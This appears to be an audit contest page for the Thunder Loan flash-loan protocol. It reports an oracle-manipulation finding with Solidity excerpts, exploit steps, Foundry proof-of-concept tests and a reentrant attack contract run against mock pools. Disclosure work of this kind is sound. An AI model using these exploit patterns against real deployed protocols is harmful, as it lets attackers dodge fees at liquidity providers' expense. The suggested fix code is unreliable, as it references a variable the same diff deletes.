Thunder Loan

AI First Flight #7
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Submission Details
Severity: medium
Valid

Oracle Manipulation via AMM Spot Price

## Bug Description
### Brief/Intro
The ThunderLoan protocol calculates flash loan fees using TSwap AMM spot prices, which can be trivially manipulated via large trades. An attacker can crash the token price before taking a flash loan, pay near-zero fees, then restore the price — effectively using protocol liquidity for free.
### Details
- **Location**: `OracleUpgradeable.sol:19-21`
- **Root Cause**: `getPriceInWeth()` queries TSwap's instantaneous spot price, which is derived from pool reserves and can be moved with a single large trade.
**Vulnerable Code** (`OracleUpgradeable.sol:19-21`):
```solidity
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```
**Fee Calculation Dependency** (`ThunderLoan.sol:246-250`):
```solidity
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```
### Exploit Steps
**Step 1: [State Change]**
The attacker prepares a large position of the target token. They identify that ThunderLoan's fee calculation depends on TSwap spot price.
**Step 2: [Mathematical Precondition]**
The attacker executes a large sell order on TSwap, dumping tokens to crash the price. If the normal price is 1 WETH per token, they might crash it to 0.001 WETH per token (1000x reduction).
**Step 3: [Blockage Analysis]**
Within the same transaction, the attacker calls `flashloan()`. The fee is calculated as: `fee = borrowAmount × crashedPrice × feeRate`. With a 1000x price crash, the fee is reduced by 1000x.
**Step 4: [Impact Realization]**
The attacker uses the borrowed funds for their arbitrage or other purposes, repays with minimal fees, then buys back their tokens from TSwap to restore the price. Net result: near-free use of protocol liquidity.
## Impact
**High Severity**
* **Risk Funds Calculation**:
* **Fee Revenue Loss**: Up to 99.9% of expected fees per manipulated flash loan
* **LP Yield Impact**: LPs receive far less yield than expected
* **Example**: On a 1000 ETH flash loan with 0.3% fee, attacker pays ~0.0003 ETH instead of 3 ETH
* **Protocol Revenue Theft**: Attacker extracts value by avoiding fees
* **LP Harm**: Reduced yield for liquidity providers
* **Griefing Vector**: Attacker can also pump price to make flash loans prohibitively expensive for legitimate users
## Risk Breakdown
The attack requires capital to move the AMM price, but can be executed atomically within a single transaction using flash loans from other protocols.
- Difficulty to Exploit: **Medium** (requires capital or flash loan from another protocol)
- Weakness: CWE-807 (Reliance on Untrusted Inputs in a Security Decision)
## Recommendation
Never use AMM spot prices for fee calculations. Use Time-Weighted Average Price (TWAP) or integrate a trusted oracle like Chainlink.
```diff
function getPriceInWeth(address token) public view returns (uint256) {
- address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
- return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
+ // Option 1: Use TWAP
+ return ITSwapPool(swapPoolOfToken).getTWAP(token, 30 minutes);
+
+ // Option 2: Use Chainlink
+ (, int256 price,,,) = AggregatorV3Interface(priceFeed).latestRoundData();
+ return uint256(price);
}
```
## Vulnerable Code Locations
### OracleUpgradeable.sol - `getPriceInWeth` (L19-L21)
```solidity
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```
## Proof of Concept
See complete PoC file: [OracleManipulationPoC.t.sol]()
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
// Manipulable TSwap Pool Mock
contract ManipulableTSwapPool {
uint256 public price = 1e18;
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) { return price; }
function setPrice(uint256 newPrice) external { price = newPrice; }
}
contract ManipulablePoolFactory {
mapping(address => address) private s_pools;
function createPool(address token, address pool) external { s_pools[token] = pool; }
function getPool(address token) external view returns (address) { return s_pools[token]; }
}
contract OracleManipulationPoC is Test {
ThunderLoan thunderLoan;
ManipulablePoolFactory poolFactory;
ManipulableTSwapPool tswapPool;
ERC20Mock tokenA;
function setUp() public {
poolFactory = new ManipulablePoolFactory();
tswapPool = new ManipulableTSwapPool();
tokenA = new ERC20Mock();
poolFactory.createPool(address(tokenA), address(tswapPool));
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(poolFactory));
thunderLoan.setAllowedToken(tokenA, true);
}
function test_OracleManipulation() public {
uint256 borrowAmount = 100e18;
// Normal fee
uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);
// Crash price 1000x
tswapPool.setPrice(1e15);
uint256 manipulatedFee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);
console.log("Normal fee:", normalFee);
console.log("Manipulated fee:", manipulatedFee);
console.log("Fee reduction:", normalFee / manipulatedFee, "x");
assertGt(normalFee, manipulatedFee * 100, "Fee should be >100x lower");
}
}
```
**Run Command**:
```bash
forge test --match-contract OracleManipulationPoC -vvv
```
**Expected Output**:
```
[PASS] test_OracleManipulation()
Normal fee: 300000000000000
Manipulated fee: 300000000000
Fee reduction: 1000 x
```
## References
- [Euler Finance Exploit - Oracle Manipulation](https://www.halborn.com/blog/post/explained-the-euler-finance-hack-march-2023)
- [CWE-807: Reliance on Untrusted Inputs](https://cwe.mitre.org/data/definitions/807.html)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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